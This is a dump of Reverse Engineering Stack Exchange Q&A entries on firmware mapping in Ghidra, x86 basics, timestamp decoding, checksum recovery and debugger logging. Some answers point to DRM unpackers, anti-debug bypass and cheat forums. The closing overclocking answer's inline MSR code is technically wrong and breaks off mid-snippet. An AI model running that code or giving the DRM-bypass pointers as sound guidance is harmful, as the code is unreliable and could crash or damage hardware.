        "Answer": "<p>Generally this would <em>not</em> be considered a vulnerability, <strong>no</strong>.</p>\n<p>You aren't giving details, so I cannot speak for your specific case. You don't even mention the operating system [1].</p>\n<h2>Why? A hypothetical scenario on Windows</h2>\n<p>But let's assume Windows 10/11 for a second. The <code>BUILTIN\\Administrators</code> alias and also the built-in <code>Administrator</code> principal (RID == 500) has certain powers that provide pathways into the <a href=\"https://en.wikipedia.org/wiki/Trusted_computing_base\" rel=\"nofollow noreferrer\">TCB</a>. One such way would be a service. While still being user mode (UM), it allows an administrator to execute code as <code>NT AUTHORITY\\SYSTEM</code> (aka &quot;LocalSystem&quot;) or <code>NT SERVICE\\TrustedInstaller</code>. Enabling all privileges in that user context will bestow a lot of power already. But we can take it one further. The service control manager (SCM) isn't just responsible for UM services, but also for kernel mode (KM) drivers, with the exception of PnP drivers. So, an administrator could install a driver (perhaps after enabling test signing via <code>bcdedit</code>) and then simply read/write kernel memory at will by talking to that driver (<code>ReadFile</code>/<code>WriteFile</code> or <code>DeviceIoControl</code>).</p>\n<p>So as you can see an administrator has <em>already</em> the privileges necessary to run code that can read/write kernel memory.</p>\n<p>That's why it would not be considered a vulnerability.</p>\n<hr />\n<h2>... however</h2>\n<p>Suppose that little precondition with already being an administrator didn't exist. Something, <a href=\"https://github.com/namazso/physmem_drivers\" rel=\"nofollow noreferrer\">such as a vulnerable driver</a>, would allow an <em>unprivileged user</em> to read/write kernel memory. That would be a vulnerability for sure and <a href=\"https://www.microsoft.com/en-us/wdsi/driversubmission\" rel=\"nofollow noreferrer\">you could report the responsible kernel mode driver here</a>.</p>\n<hr />\n<p>[1] Consider modern Linux. <em>If</em> whatever you found would allow a rootless container (think Podman) to read/write kernel memory of the hosting kernel, that'd be a huge issue and most certainly be considered a vulnerability. Back on Windows if an app container or code in a silo could read/write kernel memory that would be comparable (these entities generally have less privileges than any administrator on the system hosting the container/silo).</p>\n"
    },
    {
        "Id": "31143",
        "CreationDate": "2022-11-17T00:06:19.357",
        "Body": "<p>Recently I have been given a set of assembly instructions which I must learn to understand. I know an <strong>extremely</strong> basic level of x86 assembly but I'm starting to come across more nuances that are very difficult for me to 'just google'. So I have to ask you <em>lovely</em> people.</p>\n<p>Below are the instructions</p>\n<pre><code>mov     ecx, [esp+10h+arg_0]\n...\n...\nmov     [esp+10h+arg_8], eax\n...\n...\nand     al, 0E0h\n</code></pre>\n<p>Are arg_0 and arg_8 arguments supplied to the program at runtime or arguments supplied to a function within the program? Also please help me understand what 0E0h is in the last instruction. Is that a function, memory address, or hex value? Thank you.</p>\n",
        "Title": "Unable to understand x86 instruction(s)",
        "Tags": "|disassembly|assembly|x86|static-analysis|",
        "Answer": "<p>the first instruction is a read<br />\nthe second instruction is a write<br />\nthe third instruction is a compare</p>\n<p>arg0 , arg_8 are arguments provided  to the function and is provided by the caller like</p>\n<pre><code>call xyz(arg0,arg1....argn);\n</code></pre>\n<p>normally arguments provided to a function are not modified\nunless the argument is a <strong>pass by reference</strong></p>\n<p>for understanding opcodes operation you must understand</p>\n<ol>\n<li>how an opcode works</li>\n<li>what are its operands ,</li>\n<li>how many operands does it take</li>\n<li>what is result of the operation</li>\n<li>which flags are affected</li>\n<li>what exceptions are raised</li>\n<li>what is the mode in which this opcode can be used</li>\n<li>are there any bitwise exceptions</li>\n<li>are there modifiers to the opcode</li>\n<li>Compatibility etc\nthese are all described in intel / amd manuals<br />\nor you can use any online reference like <a href=\"https://www.felixcloutier.com/x86/and\" rel=\"nofollow noreferrer\">reference for and opcode </a></li>\n</ol>\n<p>if you go through the linked reference you will understand that the operand can be an immediate (constant value , [imm8 , imm16 , imm32 )<br />\nor register (al...,r8 or ax...,r16 or eax...,r32)<br />\nor memory (byte,m8 or word , m16 or dword , m32)</p>\n<p>based on the description infer the type of your operand 0E0h</p>\n"
    },
    {
        "Id": "31162",
        "CreationDate": "2022-11-22T10:51:33.050",
        "Body": "<p>I have a binary firmware that I'm trying to reverse engineer. I loaded it up on Ghidra, setting the file as raw binary, ARM Cortex, little endian. I used an address offset of zero for the file. And I seem to get good results. Here is the top of the file.</p>\n<pre><code>                             //\n                             // ram \n                             // ram:00000000-ram:0005d37f\n                             //\n             assume spsr = 0x0  (Default)\n                             MasterStackPointer\n        00000000 00  00  03  20    addr       DAT_20030000\n                             Reset                                           XREF[1]:     Entry Point (*)   \n        00000004 d5  2b  03  08    addr       DAT_08032bd5\n                             NMI                                             XREF[1]:     Entry Point (*)   \n        00000008 25  2c  03  08    addr       DAT_08032c25\n                             HardFault                                       XREF[1]:     Entry Point (*)   \n        0000000c 25  2c  03  08    addr       DAT_08032c25\n                             MemManage                                       XREF[1]:     Entry Point (*)   \n        00000010 25  2c  03  08    addr       DAT_08032c25\n                             BusFault                                        XREF[1]:     Entry Point (*)   \n        00000014 25  2c  03  08    addr       DAT_08032c25\n                             UsageFault                                      XREF[1]:     Entry Point (*)   \n        00000018 25  2c  03  08    addr       DAT_08032c25\n</code></pre>\n<p>Notice how all the pointers point to <code>DAT_08######</code>? This is consistent with the well-known <code>0x08000000</code> offset typical on this architecture. But if I analyse the whole file with this offset, then this first part isn't &quot;decoded&quot; properly.</p>\n<p>I guess I have to split the memory mapping of the file. Currently it's as a single block, as indicated by <code>// ram:00000000-ram:0005d37f</code>.</p>\n<p>My question is where should I split the file, adding the offset from that point onward? Any good ways to have an educated guess? The first function, with the file as-is, appears at address <code>0x000001f0</code>, after the IRQ block.</p>\n",
        "Title": "ARM (STM32) memory mapping on Ghidra: offset only part of the firmware file",
        "Tags": "|firmware|ghidra|arm|",
        "Answer": "<p>To add to Ben's great answer, I double mapped the <code>.bin</code> file to both address <code>0x0</code> and <code>0x800000</code> (first two lines):\n<a href=\"https://i.stack.imgur.com/bQwQ8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bQwQ8.png\" alt=\"enter image description here\" /></a>\nAnd it now works:\n<a href=\"https://i.stack.imgur.com/p8in0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/p8in0.png\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/bstss.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bstss.png\" alt=\"enter image description here\" /></a></p>\n<p>I learned it from <a href=\"https://www.youtube.com/watch?v=q4CxE5P6RUE\" rel=\"nofollow noreferrer\">this amazing video</a>.</p>\n"
    },
    {
        "Id": "31175",
        "CreationDate": "2022-11-24T20:32:03.147",
        "Body": "<p>I am getting this simplified function from the decomplication results of Ghidra, and I am having a hard time interpreting what the predicate would evaluate to since I do not have access to <code>__ctype_b</code> structure, in other words, what is this predicate indicating (eg. no blank spaces, digits only, ect...) ?</p>\n<pre><code>int myFunc(char myChar) {\n\n    if ((*(unsigned short*)((char)myChar * 2 + __ctype_b) &gt;&gt; 6 &amp; 1) == 0) {\n        return true;\n    } else {\n        return false;\n    }\n\n}\n</code></pre>\n",
        "Title": "How to interpret this __ctype_b based predicate?",
        "Tags": "|disassembly|decompilation|c|ghidra|",
        "Answer": "<p><code>_ctype</code> is a common name for an array with flags used for implementing the <code>is...</code> family of C runtime function-like macros from <code>ctype.h</code> (<code>isupper</code>, <code>islower</code>, <code>isalpha</code>, <code>isdigit</code> and so on). For example, see <a href=\"https://github.com/syracuse-mscs-2019/simplescalar/blob/master/glibc-1.09/locale/C-ctype_ct.c\" rel=\"nofollow noreferrer\">this file</a> from early glibc:</p>\n<pre><code>CONST unsigned short int __ctype_b_C[] =\n  {\n    0,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl,\n    _IScntrl|_ISspace|_ISblank,\n</code></pre>\n<p>If we assume that __ctype_b is an array of shorts, the function seems to be equivalent to:</p>\n<pre><code>return (__ctype_b[myChar]&gt;&gt;6 &amp; 1)==0;\n</code></pre>\n<p>or</p>\n<pre><code>return (__ctype_b[myChar]&amp; (1&lt;&lt;6))==0;\n</code></pre>\n<p>If the bits in the table use <a href=\"https://github.com/syracuse-mscs-2019/simplescalar/blob/master/sslittle-na-sstrix/include/ctype.h\" rel=\"nofollow noreferrer\">standard values</a>, <code>1&lt;&lt;6</code> corresponds to the <code>_ISpunct</code> flag, so the function seems to return  <code>!ispunct(myChar)</code>;</p>\n"
    },
    {
        "Id": "31181",
        "CreationDate": "2022-11-26T16:14:52.613",
        "Body": "<p>Basically, I have this 64 bits game.exe file which is about 400mb. It takes about 24 hours to do the analysis of the file in Ida pro 64 bits free version.\nProblem is i have to do it again cause there were some errors apparently.\nSo my question is this, when i run that game.exe and i attach xdbg64 to it, it shows me the assembly code of the whole process, but when i instead run that game and try to attach Ida Pro's debugger to it i don't get the same kind of information, so is there a way to display the whole program's assembly in Ida pro and also use the decompiler on some of the function while the game.exe is running?\nMy goal is to make a single player mod for this game by hooking a specific funtion.\nI attached two screenshots that show the same address for both programs:</p>\n<p>xdbg64:</p>\n<p><a href=\"https://i.stack.imgur.com/FghHJ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FghHJ.jpg\" alt=\"xdbg64\" /></a></p>\n<p>idaProFree:</p>\n<p><a href=\"https://i.stack.imgur.com/VyDjw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VyDjw.jpg\" alt=\"idaProFree\" /></a></p>\n",
        "Title": "Instead of doing a (long) analysis of an .exe, can i run that .exe, attach Ida Pro's debugger to it, and get the pseudo code of functions i want?",
        "Tags": "|ida|x64dbg|",
        "Answer": "<p>As far as I can see, you are using the <code>STEAM</code>-version of the game. And also the fact that the publisher of the game: <code>Bethesda</code>, which reliably protects its investments and likes to sue others.</p>\n<p>That was the preface, and now, about the case:</p>\n<p><code>STEAM</code> games are very often packaged. Therefore, it is not always possible to work with them in IDA Pro directly without unpacking.</p>\n<p>From here your first question should be: is the game packaged?\nyes - find unpacker or download <code>drm-free</code> image from <code>gog.com</code></p>\n<p>in addition, the game may have <code>anti-debugging tricks</code> and IDA Pro has a tool to bypass them:</p>\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/31049/how-to-hide-remote-windows-debugger-in-ida-pro\">How to hide Remote Windows Debugger in IDA Pro?</a></p>\n<p><code>How to determine if an executable is packaged?</code></p>\n<p>If you can open this file in <code>IDA Pro</code> without problems and see a bunch of functions, then most likely this file is not packaged.</p>\n<p>If the file is packed and there is a call to <code>STEAM-api</code> functions\nthen, there is a solution for a long time:</p>\n<p><code>Steamless</code>, <a href=\"https://github.com/atom0s/Steamless\" rel=\"nofollow noreferrer\">active fork</a></p>\n<p>If your goal is to write a cheat - try using the <code>Cheat Engine</code>, as well as the specialized forums:\n<a href=\"https://unknowncheats.me\" rel=\"nofollow noreferrer\">https://unknowncheats.me</a></p>\n"
    },
    {
        "Id": "31188",
        "CreationDate": "2022-11-27T18:05:33.690",
        "Body": "<p>I am looking at the registry keys created for three programs from a now defunct company, one of which is trial software. One entry of interest is the REG_BINARY key InstallTime. I have an idea of what the dates are supposed to be based on program install times. Actually, more curiously, it has different values under HKLM\\SOFTWARE\\WOW6432Node</p>\n<p>First line is under HKCU\\SOFTWARE, second is under HKLM\\SOFTWARE\\WOW6432Node</p>\n<p>11/30/16<br />\nCBHome</p>\n<pre><code>46 f2 f7 39 8d 4b d2 01\n46 f2 f7 39 8d 4b d2 01\n</code></pre>\n<p>7/1/01<br />\nCBPro</p>\n<pre><code>85 53 c1 13 18 3a c1 01\n7d 49 8e f1 93 02 c1 01\n</code></pre>\n<p>11/2/22<br />\nCWViewer</p>\n<pre><code>94 01 d7 b8 37 ef d8 01\n94 01 d7 b8 37 ef d8 01\n</code></pre>\n<p>It wasn't until I put this together that I realized that they match except for the second one. Not sure why.</p>\n",
        "Title": "Unusual datetime format",
        "Tags": "|binary|",
        "Answer": "<p>Interpreting the values as unsigned long 64 bit integers and comparing to your dates suggests that these are date/time stamps with 100ns resolution and with a  base around January 1601.</p>\n<p>This would be consistent with the values returned by the windows function <code>GetSystemTimePreciseAsFileTime</code>. This returns a <code>FILETIME</code> structure containing the UTC date &amp; time with a base date of 1 January 1601.</p>\n<p>Treating your values as <code>FILETIME</code>s and formatting appropriately (using <code>SHFormatDateTime</code>) gives the following values -</p>\n<pre><code>01D24B8D39F74246 =&gt; 01 December 2016, 04:41:48\n\n01C13A1813C15385 =&gt; 10 September 2001, 17:46:02\n01C10293F18E497D =&gt; 02 July 2001, 02:11:37\n\n01D8EF37B8D70194 =&gt; 03 November 2022, 03:52:41\n</code></pre>\n<p>The dates are the day after you quoted. I'd surmise that this is because your dates are local time and that you are 5 or more hours behind UTC and installed the programs in the evening.</p>\n<p>In your 2nd example which has 2 dates, perhaps one is an initial installation date and the other is some form of update date ?</p>\n"
    },
    {
        "Id": "31193",
        "CreationDate": "2022-11-28T15:28:07.780",
        "Body": "<p>So, I wanted repurpose some old boarding gate scanners and I'm trying to make use of their commands.</p>\n<p>Now, I have a dump from an actual boarding gate PC and I've noticed that the commands only work if I send them as they are on the dump. If I change even a single byte, the scanner rejects the command. After some Googling, I came across the term 'CRC' and now I understand why that is the case.</p>\n<p>I played around with some CRC calculators, but the scanner seems to have its own algorithm and I have trouble figuring it out.</p>\n<p>For instance, the command that displays a message on the scanner's display is 'AD;MG#P#ATESTMESSAGE'.</p>\n<p>Here's an example from the dump:</p>\n<pre><code>02 30 80 41  44 3B 4D 47   23 50 23 41  4E 4F 54 20  .0.AD;MG#P#ANOT\n49 4E 20 55  53 45 0D 42   0D FF 03 3A  12           IN USE.B...:.\n</code></pre>\n<p>I noticed that the same exact command is sent in one more way that's slightly different:</p>\n<pre><code>02 31 80 41  44 3B 4D 47   23 50 23 41  4E 4F 54 20  .1.AD;MG#P#ANOT\n49 4E 20 55  53 45 0D 42   0D FF 03 3B  92           IN USE.B...;.\n</code></pre>\n<p>Although the message is the exact same, the difference in the command header seems to have an effect on the last two bytes.</p>\n<p>All command headers either start with '02 30 80' or '02 31 80' depending on the response header of the scanner. Kind of like 'ping-pong' (I couldn't think of a better way to describe this).</p>\n<p>I have tried decompiling <a href=\"https://pastebin.com/jdQm1zq0\" rel=\"noreferrer\">the scanner's firmware</a> but I can't seem to locate the method where it checks for the CRC.</p>\n<p><a href=\"https://pastebin.com/rGDqLuDi\" rel=\"noreferrer\">Here's a few more command pairs</a> in case they help.</p>\n<p>Any help is greatly appreciated!</p>\n<p>P.S: I'm a completely new to all this, in case you couldn't tell.</p>\n",
        "Title": "Figuring out a (possibly 16-bit) CRC algorithm",
        "Tags": "|crc|",
        "Answer": "<p>These are simple XOR checksums.  Here's how they work using a short message as an example:</p>\n<pre><code>STX |&lt;------------- data --------------&gt;|s1 |s2 \n\n 02  30  80  41  44  3b  43  57  ff  03  66  e4 \n</code></pre>\n<p>The values <code>s1</code> and <code>s2</code> are calculated separately over only the data portion; the start of text (STX) character is not used for the check bytes.  Here's pseudo-code with all quantities being 8-bit values.</p>\n<pre><code>s1 = 0\ns2 = 0\nfor (each b in data)\n    s1 = s1 ^ b\n    s2 = ror(s2) ^ b\n</code></pre>\n<p>The <code>ror</code> here stands for &quot;rotate right&quot; which rotates the 8-bit quantity to the right by one bit:</p>\n<pre><code>         +---+---+---+---+---+---+---+---+\nBefore:  | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |\n         +---+---+---+---+---+---+---+---+\n\n         +---+---+---+---+---+---+---+---+\nAfter:   | 0 | 7 | 6 | 5 | 4 | 3 | 2 | 1 |\n         +---+---+---+---+---+---+---+---+\n</code></pre>\n<h2>How I figured it out</h2>\n<p>I noticed that, ignoring the last two bytes, each pair of messages differed by a single bit, b<sub>0</sub> (the low bit).  The <code>s1</code> byte also differed by only the low bit, so I guessed something like a sum or XOR.  Doing an XOR over all bytes except the first (<code>02</code>) and the last (<code>s2</code>) yielded 0 for all samples, so that was <code>s1</code> figured out.</p>\n<p>For <code>s2</code>, the pairs of message also differed in only a single bit, but the position was different for each pair, so I assumed it was a linear operation and I guessed that there was some rotation happening that would shift the position of the changed bit depending on the length of the message.  After a few guesses, I hit upon the algorithm described above.</p>\n<p>Also the changing bit <code>30</code> or <code>31</code> was probably a &quot;toggle bit.&quot;  Many serial protocols employ one.  The idea is that for each message sent, the bit changes so that way it's possible to tell whether the message is a duplicate or a new message.  Any retransmitted message would leave the bit unchanged; only new messages change the state.</p>\n<h2>In Java</h2>\n<p>I don't much like Java, but if that's what you're using, this is an implementation that works.</p>\n<pre><code>public class MyClass {\n    public static byte ror(byte c) {\n        return (byte)(((c &gt;&gt; 1) &amp; 0x7f) | (c &lt;&lt; 7));\n    }\n    public static byte[] getXOR(byte[] data) {\n        int s1 = 0;\n        int s2 = 0;\n        for (byte b : data) {\n            s1 = (s1 ^ b);\n            s2 = ror((byte)s2) ^ b;\n        }\n        return new byte[]{(byte)(s1), (byte)(s2)};\n    }\n    \n    public static void main(String args[]) {\n      byte[] data = new byte[]{0x31,(byte)(0x80),0x41,0x44,0x3B,0x43,0x57,(byte)(0xFF),0x03};\n      byte[] x = getXOR(data);\n\n      System.out.println(String.format(&quot;%x %x&quot;, x[0], x[1]));\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "31198",
        "CreationDate": "2022-11-30T21:05:55.503",
        "Body": "<p>I am searching research papers related to reverse engineering between 2020 and 2022 but did not found good papers with latest research in the direction of reverse engineering.\nSo, what are the latest research or technology in direction of reverse engineering?</p>\n",
        "Title": "What are latest research in reverse engineering?",
        "Tags": "|ida|windows|ollydbg|pe|",
        "Answer": "<p>There will always be research, you just have to pick the right search terms.</p>\n<p>For example, searching for <code>research paper binary analysis</code> led to &quot;Proceedings 2021 Workshop on Binary Analysis Research&quot;.</p>\n<p>You can also use the advanced search at ScienceGate to restrict the results by year - <a href=\"https://www.sciencegate.app/app/search\" rel=\"nofollow noreferrer\">https://www.sciencegate.app/app/search</a></p>\n"
    },
    {
        "Id": "31205",
        "CreationDate": "2022-12-01T18:28:17.167",
        "Body": "<p>What i'm trying to achieve is to use a conditional breakpoint, that never actually breaks but logs in x64dbg's console the value of r9 only when it changes, to prevent console cluttering.\nBut i do not understand how to set the expression for the log condition. On a higher level the pseudo code of what i want to achieve could be:</p>\n<pre><code>static last_r9 = 0;\nif(r9 != last_r9){\nLog();\nlast_r9 = r9;\n}\n</code></pre>\n<p>Is is even possible to achieve something like that?</p>\n<p>Here's an screenshot just for reference:</p>\n<p><a href=\"https://i.stack.imgur.com/q298c.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/q298c.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "x64dbg: Conditional breakpoint: how to log only if register value has changed?",
        "Tags": "|x64dbg|",
        "Answer": "<p>After many much trial and errors i finally managed to make it work.\nHere is a walkthrough:</p>\n<p>Let's say you want to log (in the log window of x64dbg) the value of the rbx register at a specific address, but only if that value has changed since the last log.</p>\n<p>Right click on an address and choose Breakpoint =&gt; Set Conditional Breakpoint.</p>\n<p>We must now declare a variable (global i assume) that will be used to store the value of rbx, so type this in the command line at the bottom and press enter to validate (example name): var myCounter</p>\n<p><a href=\"https://i.stack.imgur.com/AtM3R.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AtM3R.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Then fill up the pop up window like the screenshot:</p>\n<ul>\n<li>Break Condition: 0 on  cause we only want the log not the breakpoint.</li>\n<li>log Text:  ouputs some text + the value of rbx</li>\n<li>Log Condition: only log if the value of rbx has changed</li>\n<li>Command Text: using this just to update the value of myCounter for the next evaluation.</li>\n<li>Command Condition: 1, (afaik but i could be wrong) the command text will only be executed if the log condition is true, so we'll update the value of myCounter only if myCounter has changed which is what we want.</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/03d8k.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/03d8k.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Feel free to comment if there is a better way to achieve this as, the reason why i needed this &quot;feature&quot; was because when logging data i would sometimes get 1000 lines per second, so that's a way to counter that.</p>\n"
    },
    {
        "Id": "31208",
        "CreationDate": "2022-12-02T00:36:30.450",
        "Body": "<p>Is there a working way to embed the windows console in disasm code?  I tried <strong>AllocConsole</strong> with <strong>GetStdHandle</strong> or <strong>AttachConsole</strong> with <strong>PID</strong> of an existing console but it didn't work.  I have tried <strong>printf</strong> and <strong>putchar</strong> with no success.  I can make a console and be able to change the title (fancy way to get printf:))) but instead of output I get a black screen.\nI'm on XP and trying to get the status of I/O ports in an old MFC application.  MessageBox is a good alternative, but I/O ports send thousands of messages per second. I will be happy even if x32dbg will have this function for logging registry value somehow but new versions doesn't work on my XP</p>\n",
        "Title": "How to call Windows console in ASM and printf some values there?",
        "Tags": "|windows|x64dbg|patch-reversing|assembly|",
        "Answer": "<p>Ok, I got it...\nIn an arbitrary place in the program I put this:</p>\n<pre><code>call 0x7C8731B9 // kernel32.AllocConsole()\npush 0x21 // '!'\ncall _putch // this print one char '!'\npush 0x00553D91 // some string\ncall _cputs // this print string\n</code></pre>\n<p>In my case no need to use <strong>GetStdHandle</strong> after <strong>AllocConsole</strong></p>\n"
    },
    {
        "Id": "31218",
        "CreationDate": "2022-12-03T12:07:29.613",
        "Body": "<p>I'm trying to do some REing on a vendored U-Boot bootloader image.</p>\n<p>For context, the U-Boot image was extracted from the full firmware image with:</p>\n<pre><code>dd if=&lt;firmware&gt;.img of=uboot_sdcard.bin bs=1024 skip=8 count=512 seek=0\n</code></pre>\n<p>Then I ran <code>binwalk</code> on the image:</p>\n<pre><code>$ binwalk uboot_sdcard.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n16908         0x420C          CRC32 polynomial table, little endian\n32768         0x8000          uImage header, header size: 64 bytes, header CRC: 0x1701FCC6, created: 2022-11-10 01:20:36, image size: 407733 bytes, Data Address: 0x4A000000, Entry Point: 0x0, data CRC: 0x68F80364, OS: Firmware, CPU: ARM, image type: Firmware Image, compression type: none, image name: &quot;U-Boot 2017.11 for sunxi board&quot;\n100384        0x18820         uImage header, header size: 64 bytes, header CRC: 0x207047, created: 1994-05-30 14:08:13, image size: 71753208 bytes, Data Address: 0x28809B46, Entry Point: 0xDDF82CA0, data CRC: 0x230D46, image name: &quot;&quot;\n259212        0x3F48C         CRC32 polynomial table, little endian\n269762        0x41DC2         Android bootimg, kernel size: 1684947200 bytes, kernel addr: 0x64696F72, ramdisk size: 1763734311 bytes, ramdisk addr: 0x6567616D, product name: &quot;ddr 0x%08x size %u KiB&quot;\n417648        0x65F70         Flattened device tree, size: 22917 bytes, version: 17\n</code></pre>\n<p>My question now is, when I load this <code>uboot_sdcard.bin</code> on Ghidra, what should be the Base address? I tried the typical <code>0x4A000000</code> but some disassembly ends up with lots of warnings about not being able to resolve switch branches.</p>\n<p>I've had similar issues when dealing with raw binaries, and it's almost always down to sectioning the file right, or setting the base address right.</p>\n<p>So, I think I'm missing something here. Any pointers?</p>\n<p>The device uses an Allwinner SoC, which has an ARM V7 processor.</p>\n<p>Thanks</p>\n",
        "Title": "U-boot base address on Ghidra",
        "Tags": "|binary-analysis|ghidra|arm|",
        "Answer": "<p>So, a friend figured it out for me.</p>\n<p>So, according to the <code>binwalk</code> in the OP, one can see that U-Boot is at offset <code>0x8000</code> on the file. But this contains a header, pushing actual U-Boot to <code>0x8040</code>.</p>\n<p>Now, one only needs to load this file on Ghidra with offset <code>0x8040</code> and with the usual base address of <code>0x4A00'0000</code>:</p>\n<p><a href=\"https://i.stack.imgur.com/5PVkI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5PVkI.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "31246",
        "CreationDate": "2022-12-08T02:13:18.890",
        "Body": "<p>new guy here. Working on Bi0S script, adding as many features as possible. It is possible to change fan speeds, advanced security, manipulate voltages, etc. <strong>How do you overclock the microprocessor using Assembly?</strong>. No not the Avengers Assembly or the UN. .. (the moderators said i have to make a clear distinction because my last post wasn't &quot;specific enough&quot; ). Preferably in Assembly (Language) or C/C++</p>\n",
        "Title": "Overclock CPU in BIOS - ARM/C/C++/Py",
        "Tags": "|disassembly|assembly|hash-functions|math|",
        "Answer": "<p><strong>How to change the clock-speed of a microprocessor using inline assembly language</strong></p>\n<p>General procedures for utilizing assembly language to overclock a microprocessor are :</p>\n<ul>\n<li><p>Ascertain the CPU and motherboard's maximum safe clock speed. It is crucial to adhere to this limit in order to protect the processor and motherboard. This will typically be stated in the documentation for your hardware.</p>\n</li>\n<li><p>Create code to read the relevant hardware registers' current clock speed. The correct registers to read from must be determined by consulting the processor's documentation.</p>\n</li>\n<li><p>Based on the maximum safe clock speed and the desired level of overclocking, choose the new clock speed you wish to set.</p>\n</li>\n<li><p>Create code to update the hardware registers with the new clock speed. Again, to find out which registers to write to, refer to the manual for your CPU.</p>\n</li>\n<li><p>Test the stability of the system using a program like LinX or Prime95 to run at the new clock speed. You can keep using the new clock speed if the system is stable. If the system is unstable, you might need to modify the BIOS or hardware settings, change the clock speed, or other factors.</p>\n</li>\n</ul>\n<p><em>Please keep in mind that the code i mentioned is just an example, and the specific registers and values that must be changed will depend on the microprocessor and motherboard you're using. To determine the correct values, consult the documentation for your hardware. when overclocking a microprocessor, as increasing the clock speed can also increase the power consumption and heat generation of the processor. You may need to make additional changes to the BIOS settings or hardware registers, such as increasing the voltage to the processor or adjusting the cooling settings, in order to ensure that the processor remains stable at the higher clock speed</em></p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdint.h&gt;\n\n// \u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\u30ec\u30b8\u30b9\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u69cb\u9020\u4f53\nstruct HardwareRegisters {\n    uint32_t clockControl;  // \u30af\u30ed\u30c3\u30af\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30ec\u30b8\u30b9\u30bf\n    uint32_t voltageControl;  // \u96fb\u5727\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30ec\u30b8\u30b9\u30bf\n    uint32_t temperatureControl;  // \u6e29\u5ea6\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u30ec\u30b8\u30b9\u30bf\n};\n\n// \u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\u30ec\u30b8\u30b9\u30bf\u3092\u8aad\u307f\u8fbc\u3080\u95a2\u6570\nHardwareRegisters readHardwareRegisters() {\n    HardwareRegisters regs;\n\n// \u30a4\u30f3\u30e9\u30a4\u30f3\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u4f7f\u3063\u3066\u30ec\u30b8\u30b9\u30bf\u3092\u8aad\u307f\u8fbc\u3080\n__asm__ __volatile__ (\n    &quot;movl $0x0, %%eax\\n\\t&quot;  // EAX\u30ec\u30b8\u30b9\u30bf\u306b0\u3092\u4ee3\u5165\n    &quot;rdmsr\\n\\t&quot;  // MSR\u30ec\u30b8\u30b9\u30bf\u3092\u8aad\u307f\u8fbc\u3080\n    &quot;movl %%edx, %0\\n\\t&quot;  // \u8aad\u307f\u8fbc\u3093\u3060EDX\u30ec\u30b8\u30b9\u30bf\u3092clockControl\u306b\u4fdd\u5b58\n    &quot;movl %%eax, %1\\n\\t&quot;  // \u8aad\u307f\u8fbc\u3093\u3060EAX\u30ec\u30b8\u30b9\u30bf\u3092voltageControl\u306b\u4fdd\u5b58\n    &quot;movl $0x1, %%eax\\n\\t&quot;  // EAX\u30ec\u30b8\u30b9\u30bf\u306b1\u3092\u4ee3\u5165\n    &quot;rdmsr\\n\\t&quot;  // MSR\u30ec\u30b8\u30b9\u30bf\u3092\u8aad\u307f\u8fbc\u3080\n    &quot;movl %%edx, %2\\n\\t&quot;  // \u8aad\u307f\u8fbc\u3093\u3060EDX\u30ec\u30b8\u30b9\u30bf\u3092temperatureControl\u306b\u4fdd\u5b58\n    : &quot;=m&quot;(regs.clockControl), &quot;=m&quot;(regs.voltageControl), &quot;=m&quot;(regs.temperatureControl)  // \u51fa\u529b\n    :  // \u5165\u529b\n    : &quot;%eax&quot;, &quot;%edx&quot;  // \u30af\u30ea\u30a2\u3059\u308b\u30ec\u30b8\u30b9\u30bf\n);\n\nreturn regs;\n}\n\n// \u30cf\u30fc\u30c9\u30a6\u30a7\u30a2\u30ec\u30b8\u30b9\u30bf\u306b\u66f8\u304d\u8fbc\u3080\u95a2\u6570\nvoid writeHardwareRegisters(HardwareRegisters regs) {\n    // \u30a4\u30f3\u30e9\u30a4\u30f3\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u4f7f\u3063\u3066\u30ec\u30b8\u30b9\u30bf\u306b\u66f8\u304d\u8fbc\u3080\n    __asm__ __volatile__ (\n        &quot;movl $0x0, %%eax\\n\\t&quot;  // EAX\u30ec\u30b8\u30b9\u30bf\u306b0\u3092\u4ee3\u5165\n        &quot;movl %0, %%edx\\n\\t&quot;  // clockControl\u3092EDX\u30ec\u30b8\u30b9\u30bf\u306b\u4fdd\u5b58\n        &quot;movl %1, %%eax\\n\\t&quot;  // voltageControl\u3092EAX\u30ec\u30b8\u30b9\u30bf\u306b\u4fdd\u5b58\n                &quot;wrmsr\\n\\t&quot;  // MSR\u30ec\u30b8\u30b9\u30bf\u306b\u66f8\u304d\u8fbc\u3080\n        &quot;movl $0x1, %%eax\\n\\t&quot;  // EAX\u30ec\u30b8\u30b9\u30bf\u306b1\u3092\u4ee3\u5165\n        &quot;movl %2, %%edx\\n\\t&quot;  // temperatureControl\u3092EDX\u30ec\u30b8\u30b9\u30bf\u306b\u4fdd\u5b58\n        